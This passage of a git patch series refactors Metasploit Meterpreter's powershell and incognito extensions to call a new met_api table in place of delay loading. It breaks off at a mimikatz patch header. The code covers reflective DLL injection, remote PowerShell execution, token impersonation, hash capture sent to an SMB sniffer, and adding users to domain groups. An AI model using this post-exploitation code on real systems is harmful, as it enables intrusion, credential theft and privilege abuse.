changed, 56 insertions(+), 55 deletions(-) diff --git a/c/meterpreter/source/extensions/powershell/powershell.c b/c/meterpreter/source/extensions/powershell/powershell.c index 98cbadff..dd1bc1af 100755 --- a/c/meterpreter/source/extensions/powershell/powershell.c +++ b/c/meterpreter/source/extensions/powershell/powershell.c @@ -2,20 +2,17 @@ * @file powershell.c * @brief Entry point and intialisation definitions for the Powershell extension */ -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" + +// Required so that use of the API works. +MetApi* met_api = NULL; -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "powershell_bridge.h" #include "powershell_bindings.h" -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - static BOOL gSuccessfullyLoaded = FALSE; /*! @brief List of commands that the powershell extension provides. */ @@ -30,19 +27,21 @@ Command customCommands[] = /*! * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote) { - hMetSrv = remote->met_srv; + met_api = api; + gRemote = remote; DWORD result = initialize_dotnet_host(); if (result == ERROR_SUCCESS) { - command_register_all(customCommands); + met_api->command.register_all(customCommands); } return result; @@ -55,7 +54,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - command_deregister_all(customCommands); + met_api->command.deregister_all(customCommands); deinitialize_dotnet_host(); return ERROR_SUCCESS; diff --git a/c/meterpreter/source/extensions/powershell/powershell_bindings.cpp b/c/meterpreter/source/extensions/powershell/powershell_bindings.cpp index 2ec9464d..c1dbe978 100755 --- a/c/meterpreter/source/extensions/powershell/powershell_bindings.cpp +++ b/c/meterpreter/source/extensions/powershell/powershell_bindings.cpp @@ -3,7 +3,8 @@ * @brief Wrapper functions for bridging native meterp calls to powershell */ extern "C" { -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" #include "powershell_bindings.h" } @@ -25,7 +26,7 @@ VOID MeterpreterInvoke(unsigned int isLocal, unsigned char* input, unsigned int dprintf("[PSH BINDING] Packet payload length: %u", packet.payloadLength); dprintf("[PSH BINDING] Packet local flag: %u", isLocal); - command_handle(gRemote, &packet); + met_api->command.handle(gRemote, &packet); if (packet.partner != NULL) { @@ -34,7 +35,7 @@ VOID MeterpreterInvoke(unsigned int isLocal, unsigned char* input, unsigned int *output = (unsigned char*)LocalAlloc(LPTR, packet.partner->payloadLength); *outputLength = packet.partner->payloadLength; memcpy(*output, packet.partner->payload, packet.partner->payloadLength); - packet_destroy(packet.partner); + met_api->packet.destroy(packet.partner); } else { diff --git a/c/meterpreter/source/extensions/powershell/powershell_bridge.cpp b/c/meterpreter/source/extensions/powershell/powershell_bridge.cpp index 8bca0ba4..2188a13e 100755 --- a/c/meterpreter/source/extensions/powershell/powershell_bridge.cpp +++ b/c/meterpreter/source/extensions/powershell/powershell_bridge.cpp @@ -3,7 +3,8 @@ * @brief Wrapper functions for bridging native meterp calls to powershell */ extern "C" { -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" #include "powershell.h" #include "powershell_bridge.h" #include "powershell_bindings.h" @@ -90,7 +91,7 @@ DWORD load_assembly(BYTE* assemblyData, DWORD assemblySize) } dprintf("[PSH] Assembly appears to have been loaded successfully"); - list_add(gLoadedAssemblies, loadedAssembly); + met_api->list.add(gLoadedAssemblies, loadedAssembly); } while (0); if (SUCCEEDED(hr)) @@ -385,7 +386,7 @@ DWORD initialize_dotnet_host() break; } - gLoadedAssemblies = list_create(); + gLoadedAssemblies = met_api->list.create(); dprintf("[PSH] Runtime has been initialized successfully"); } while(0); @@ -437,8 +438,8 @@ VOID deinitialize_dotnet_host() SAFE_RELEASE(gClrPowershellType); - list_enumerate(gLoadedAssemblies, destroy_loaded_assembly, NULL); - list_destroy(gLoadedAssemblies); + met_api->list.enumerate(gLoadedAssemblies, destroy_loaded_assembly, NULL); + met_api->list.destroy(gLoadedAssemblies); SAFE_RELEASE(gClrPowershellAssembly); SAFE_RELEASE(gClrAppDomainInterface); @@ -455,12 +456,12 @@ DWORD powershell_channel_interact_notify(Remote *remote, LPVOID entryContext, LP if (shell->output.length() > 1 && shell->wait_handle != NULL) { - lock_acquire(shell->buffer_lock); + met_api->lock.acquire(shell->buffer_lock); dprintf("[PSH SHELL] received notification to write"); - DWORD result = channel_write(channel, remote, NULL, 0, (PUCHAR)(char*)shell->output, byteCount, NULL); + DWORD result = met_api->channel.write(channel, remote, NULL, 0, (PUCHAR)(char*)shell->output, byteCount, NULL); shell->output = ""; ResetEvent(shell->wait_handle); - lock_release(shell->buffer_lock); + met_api->lock.release(shell->buffer_lock); dprintf("[PSH SHELL] write completed"); } @@ -474,11 +475,11 @@ DWORD powershell_channel_interact_destroy(HANDLE waitable, LPVOID entryContext, if (shell->wait_handle) { HANDLE h = shell->wait_handle; - lock_acquire(shell->buffer_lock); + met_api->lock.acquire(shell->buffer_lock); unchannelise_session(shell->session_id); shell->wait_handle = NULL; - lock_release(shell->buffer_lock); - lock_destroy(shell->buffer_lock); + met_api->lock.release(shell->buffer_lock); + met_api->lock.destroy(shell->buffer_lock); CloseHandle(h); } return ERROR_SUCCESS; @@ -494,9 +495,9 @@ DWORD powershell_channel_interact(Channel *channel, Packet *request, LPVOID cont { dprintf("[PSH SHELL] beginning interaction"); shell->wait_handle = CreateEventA(NULL, FALSE, FALSE, NULL); - shell->buffer_lock = lock_create(); + shell->buffer_lock = met_api->lock.create(); - result = scheduler_insert_waitable(shell->wait_handle, channel, context, + result = met_api->scheduler.insert_waitable(shell->wait_handle, channel, context, powershell_channel_interact_notify, powershell_channel_interact_destroy); channelise_session(shell->session_id, channel, context); @@ -507,7 +508,7 @@ DWORD powershell_channel_interact(Channel *channel, Packet *request, LPVOID cont else if (shell->wait_handle != NULL) { dprintf("[PSH SHELL] stopping interaction"); - result = scheduler_signal_waitable(shell->wait_handle, Stop); + result = met_api->scheduler.signal_waitable(shell->wait_handle, SchedulerStop); } return result; @@ -526,10 +527,10 @@ DWORD powershell_channel_write(Channel* channel, Packet* request, LPVOID context DWORD result = invoke_ps_command(shell->session_id, codeMarshall, output); if (result == ERROR_SUCCESS && shell->wait_handle) { - lock_acquire(shell->buffer_lock); + met_api->lock.acquire(shell->buffer_lock); shell->output += output; SetEvent(shell->wait_handle); - lock_release(shell->buffer_lock); + met_api->lock.release(shell->buffer_lock); } return result; } @@ -542,10 +543,10 @@ void powershell_channel_streamwrite(__int64 rawContext, __int64 rawMessage) if (shell->wait_handle) { - lock_acquire(shell->buffer_lock); + met_api->lock.acquire(shell->buffer_lock); shell->output += message; SetEvent(shell->wait_handle); - lock_release(shell->buffer_lock); + met_api->lock.release(shell->buffer_lock); } } @@ -716,7 +717,7 @@ DWORD unchannelise_session(wchar_t* sessionId) DWORD request_powershell_shell(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; - Packet* response = packet_create_response(packet); + Packet* response = met_api->packet.create_response(packet); InteractiveShell* shell = NULL; if (response) @@ -732,7 +733,7 @@ DWORD request_powershell_shell(Remote *remote, Packet *packet) dwResult = ERROR_OUTOFMEMORY; break; } - shell->session_id = packet_get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID); + shell->session_id = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID); if (shell->session_id != NULL) { @@ -748,13 +749,13 @@ DWORD request_powershell_shell(Remote *remote, Packet *packet) chanOps.native.write = powershell_channel_write; chanOps.native.interact = powershell_channel_interact; shell->output = "PS > "; - Channel* newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chanOps); + Channel* newChannel = met_api->channel.create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chanOps); - channel_set_type(newChannel, "psh"); - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); + met_api->channel.set_type(newChannel, "psh"); + met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel)); } while (0); - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } if (dwResult != ERROR_SUCCESS) @@ -774,23 +775,23 @@ DWORD request_powershell_shell(Remote *remote, Packet *packet) DWORD request_powershell_execute(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; - Packet* response = packet_create_response(packet); + Packet* response = met_api->packet.create_response(packet); wchar_t* sessionId = NULL; if (response) { - char* code = packet_get_tlv_value_string(packet, TLV_TYPE_POWERSHELL_CODE); + char* code = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_POWERSHELL_CODE); if (code != NULL) { _bstr_t codeMarshall(code); _bstr_t output; - sessionId = packet_get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID); + sessionId = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID); dwResult = invoke_ps_command(sessionId, codeMarshall, output); if (dwResult == ERROR_SUCCESS) { - packet_add_tlv_string(response, TLV_TYPE_POWERSHELL_RESULT, output); + met_api->packet.add_tlv_string(response, TLV_TYPE_POWERSHELL_RESULT, output); } } else @@ -798,7 +799,7 @@ DWORD request_powershell_execute(Remote *remote, Packet *packet) dprintf("[PSH] Code parameter missing from call"); dwResult = ERROR_INVALID_PARAMETER; } - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } SAFE_FREE(sessionId); @@ -815,15 +816,15 @@ DWORD request_powershell_execute(Remote *remote, Packet *packet) DWORD request_powershell_assembly_load(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; - Packet* response = packet_create_response(packet); + Packet* response = met_api->packet.create_response(packet); wchar_t* sessionId = NULL; if (response) { - BYTE* binary = packet_get_tlv_value_raw(packet, TLV_TYPE_POWERSHELL_ASSEMBLY); + BYTE* binary = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_POWERSHELL_ASSEMBLY); if (binary != NULL) { - DWORD binarySize = packet_get_tlv_value_uint(packet, TLV_TYPE_POWERSHELL_ASSEMBLY_SIZE); + DWORD binarySize = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_POWERSHELL_ASSEMBLY_SIZE); dwResult = load_assembly(binary, binarySize); } else @@ -831,7 +832,7 @@ DWORD request_powershell_assembly_load(Remote *remote, Packet *packet) dprintf("[PSH] Assembly parameter missing from call"); dwResult = ERROR_INVALID_PARAMETER; } - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } SAFE_FREE(sessionId); @@ -848,16 +849,16 @@ DWORD request_powershell_assembly_load(Remote *remote, Packet *packet) DWORD request_powershell_session_remove(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; - Packet* response = packet_create_response(packet); + Packet* response = met_api->packet.create_response(packet); wchar_t* sessionId = NULL; if (response) { - sessionId = packet_get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID); + sessionId = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID); dwResult = remove_session(sessionId); - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } SAFE_FREE(sessionId); diff --git a/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj b/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj index 3a720202..4afba6b5 100644 --- a/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj +++ b/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj @@ -84,7 +84,7 @@ MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_POWERSHELL_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -135,7 +135,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_POWERSHELL_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -189,7 +189,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_POWERSHELL_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -240,7 +240,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_POWERSHELL_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded From 472a6b1f9ea56688c1843707de81b79179645239 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 17 Apr 2020 19:49:46 +1000 Subject: [PATCH 11/21] Move incognito to no more delay loading --- .../extensions/incognito/hash_stealer.c | 11 ++-- .../source/extensions/incognito/incognito.c | 53 +++++++++---------- .../extensions/incognito/user_management.c | 39 +++++++------- .../ext_server_incognito.vcxproj | 8 +-- 4 files changed, 56 insertions(+), 55 deletions(-) diff --git a/c/meterpreter/source/extensions/incognito/hash_stealer.c b/c/meterpreter/source/extensions/incognito/hash_stealer.c index 1a59f5d3..6f75e0ac 100644 --- a/c/meterpreter/source/extensions/incognito/hash_stealer.c +++ b/c/meterpreter/source/extensions/incognito/hash_stealer.c @@ -1,5 +1,6 @@ #define _CRT_SECURE_NO_DEPRECATE 1 -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" #include #include #include @@ -25,8 +26,8 @@ DWORD request_incognito_snarf_hashes(Remote *remote, Packet *packet) wchar_t conn_string[BUF_SIZE] = L"", domain_name[BUF_SIZE] = L"", return_value[BUF_SIZE] = L"", temp[BUF_SIZE] = L""; - Packet *response = packet_create_response(packet); - char *smb_sniffer_ip = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); + Packet *response = met_api->packet.create_response(packet); + char *smb_sniffer_ip = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); // Initialise net_resource structure (essentially just set ip to that of smb_sniffer) if (_snwprintf(conn_string, BUF_SIZE, L"\\\\%S", smb_sniffer_ip) == -1) @@ -45,7 +46,7 @@ DWORD request_incognito_snarf_hashes(Remote *remote, Packet *packet) token_list = get_token_list(&num_tokens, &token_privs); if (!token_list) { - packet_transmit_response(GetLastError(), remote, response); + met_api->packet.transmit_response(GetLastError(), remote, response); goto cleanup; } @@ -76,7 +77,7 @@ DWORD request_incognito_snarf_hashes(Remote *remote, Packet *packet) } } - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); cleanup: free(token_list); diff --git a/c/meterpreter/source/extensions/incognito/incognito.c b/c/meterpreter/source/extensions/incognito/incognito.c index 923bc842..929e8f12 100644 --- a/c/meterpreter/source/extensions/incognito/incognito.c +++ b/c/meterpreter/source/extensions/incognito/incognito.c @@ -2,21 +2,19 @@ * This module implements token manipulation features */ #define _CRT_SECURE_NO_DEPRECATE 1 -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" #include #include "incognito.h" #include "token_info.h" #include "list_tokens.h" #include "user_management.h" #include "hash_stealer.h" -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); +// Required so that use of the API works. +MetApi* met_api = NULL; + +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" DWORD request_incognito_list_tokens(Remote *remote, Packet *packet); DWORD request_incognito_impersonate_user(Remote *remote, Packet *packet); @@ -32,8 +30,8 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet) char *delegation_tokens = calloc(sizeof(char), BUF_SIZE); char *impersonation_tokens = calloc(sizeof(char), BUF_SIZE); - Packet *response = packet_create_response(packet); - token_order = packet_get_tlv_value_uint(packet, TLV_TYPE_INCOGNITO_LIST_TOKENS_TOKEN_ORDER); + Packet *response = met_api->packet.create_response(packet); + token_order = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_INCOGNITO_LIST_TOKENS_TOKEN_ORDER); dprintf("[INCOGNITO] Enumerating tokens"); // Enumerate tokens @@ -42,7 +40,7 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet) if (!token_list) { dprintf("[INCOGNITO] Enumerating tokens failed with %u (%x)", GetLastError(), GetLastError()); - packet_transmit_response(GetLastError(), remote, response); + met_api->packet.transmit_response(GetLastError(), remote, response); free(uniq_tokens); free(delegation_tokens); @@ -76,7 +74,7 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet) if (uniq_tokens[i].delegation_available) { bTokensAvailable = TRUE; - char *username = wchar_to_utf8(uniq_tokens[i].username); + char *username = met_api->string.wchar_to_utf8(uniq_tokens[i].username); if (username) { strncat(delegation_tokens, username, BUF_SIZE - strlen(delegation_tokens) - 1); strncat(delegation_tokens, "\n", BUF_SIZE - strlen(delegation_tokens) - 1); @@ -96,7 +94,7 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet) if (!uniq_tokens[i].delegation_available && uniq_tokens[i].impersonation_available) { bTokensAvailable = TRUE; - char *username = wchar_to_utf8(uniq_tokens[i].username); + char *username = met_api->string.wchar_to_utf8(uniq_tokens[i].username); if (username) { strncat(impersonation_tokens, username, BUF_SIZE - strlen(impersonation_tokens) - 1); strncat(impersonation_tokens, "\n", BUF_SIZE - strlen(impersonation_tokens) - 1); @@ -110,9 +108,9 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet) strncat(impersonation_tokens, "No tokens available\n", BUF_SIZE - strlen(impersonation_tokens) - 1); } - packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION, delegation_tokens); - packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION, impersonation_tokens); - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION, delegation_tokens); + met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION, impersonation_tokens); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); free(token_list); free(uniq_tokens); @@ -132,9 +130,9 @@ DWORD request_incognito_impersonate_token(Remote *remote, Packet *packet) HANDLE xtoken; TOKEN_PRIVS token_privs; - Packet *response = packet_create_response(packet); - char *impersonate_token = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN); - wchar_t *requested_username = utf8_to_wchar(impersonate_token); + Packet *response = met_api->packet.create_response(packet); + char *impersonate_token = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN); + wchar_t *requested_username = met_api->string.utf8_to_wchar(impersonate_token); // Enumerate tokens token_list = get_token_list(&num_tokens, &token_privs); @@ -168,7 +166,7 @@ DWORD request_incognito_impersonate_token(Remote *remote, Packet *packet) if (is_token(token_list[i].token, requested_username)) if (ImpersonateLoggedOnUser(token_list[i].token)) { - char *username = wchar_to_utf8(token_list[i].username); + char *username = met_api->string.wchar_to_utf8(token_list[i].username); if (username) { strncat(return_value, "[+] Successfully impersonated user ", sizeof(return_value)-strlen(return_value)-1); strncat(return_value, username, sizeof(return_value)-strlen(return_value)-1); @@ -177,7 +175,7 @@ DWORD request_incognito_impersonate_token(Remote *remote, Packet *packet) if (!DuplicateTokenEx(token_list[i].token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &xtoken)) { dprintf("[INCOGNITO] Failed to duplicate token for %s (%u)", username, GetLastError()); } else { - core_update_thread_token(remote, xtoken); + met_api->thread.update_token(remote, xtoken); } free(username); } @@ -197,8 +195,8 @@ cleanup: free(token_list); free(uniq_tokens); - packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); return ERROR_SUCCESS; } @@ -216,14 +214,15 @@ Command customCommands[] = /*! * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote) { - hMetSrv = remote->met_srv; + met_api = api; - command_register_all( customCommands ); + met_api->command.register_all( customCommands ); return ERROR_SUCCESS; } @@ -235,7 +234,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - command_deregister_all( customCommands ); + met_api->command.deregister_all( customCommands ); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/incognito/user_management.c b/c/meterpreter/source/extensions/incognito/user_management.c index b8e56654..245423cb 100644 --- a/c/meterpreter/source/extensions/incognito/user_management.c +++ b/c/meterpreter/source/extensions/incognito/user_management.c @@ -1,5 +1,6 @@ #define _CRT_SECURE_NO_DEPRECATE 1 -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" #include #include #include @@ -25,10 +26,10 @@ DWORD request_incognito_add_user(Remote *remote, Packet *packet) TOKEN_PRIVS token_privs; // Read arguments - Packet *response = packet_create_response(packet); - dc_netbios_name = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); - username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME); - password = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_PASSWORD); + Packet *response = met_api->packet.create_response(packet); + dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); + username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME); + password = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_PASSWORD); mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1); mbstowcs(username_u, username, strlen(username)+1); @@ -105,8 +106,8 @@ cleanup: CloseHandle(token_list[i].token); free(token_list); - packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); // Restore token impersonation if (saved_token != INVALID_HANDLE_VALUE) @@ -126,10 +127,10 @@ DWORD request_incognito_add_group_user(Remote *remote, Packet *packet) TOKEN_PRIVS token_privs; // Read arguments - Packet *response = packet_create_response(packet); - dc_netbios_name = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); - groupname = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME); - username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME); + Packet *response = met_api->packet.create_response(packet); + dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); + groupname = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME); + username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME); mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1); mbstowcs(username_u, username, strlen(username)+1); @@ -201,8 +202,8 @@ cleanup: CloseHandle(token_list[i].token); free(token_list); - packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); // Restore token impersonation if (saved_token != INVALID_HANDLE_VALUE) @@ -223,10 +224,10 @@ DWORD request_incognito_add_localgroup_user(Remote *remote, Packet *packet) TOKEN_PRIVS token_privs; // Read arguments - Packet *response = packet_create_response(packet); - dc_netbios_name = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); - groupname = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME); - username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME); + Packet *response = met_api->packet.create_response(packet); + dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); + groupname = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME); + username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME); mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1); mbstowcs(username_u, username, strlen(username)+1); @@ -295,8 +296,8 @@ cleanup: CloseHandle(token_list[i].token); free(token_list); - packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); // Restore token impersonation if (saved_token != INVALID_HANDLE_VALUE) diff --git a/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj b/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj index 1a353114..036fdc27 100644 --- a/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj +++ b/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj @@ -87,7 +87,7 @@ OnlyExplicitInline false Size - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\incognito;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\incognito;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_INCOGNITO_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -137,7 +137,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" OnlyExplicitInline false Size - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\incognito;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\incognito;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_INCOGNITO_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -190,7 +190,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" OnlyExplicitInline false Size - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\incognito;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\incognito;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_INCOGNITO_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -243,7 +243,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" OnlyExplicitInline false Size - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\incognito;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\incognito;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_INCOGNITO_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded From f4f6bb01d87d6259e233c06a36c90c1e0d1f6e34 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 17 Apr 2020 19:55:02 +1000 Subject: [PATCH 12/21] Remove delay loading from mimikatz --- .../source/extensions/mimikatz/main.cpp | 208 +++++++++--------- .../ext_server_mimikatz.vcxproj | 8 +- 2 files changed, 107 insertions(+), 109 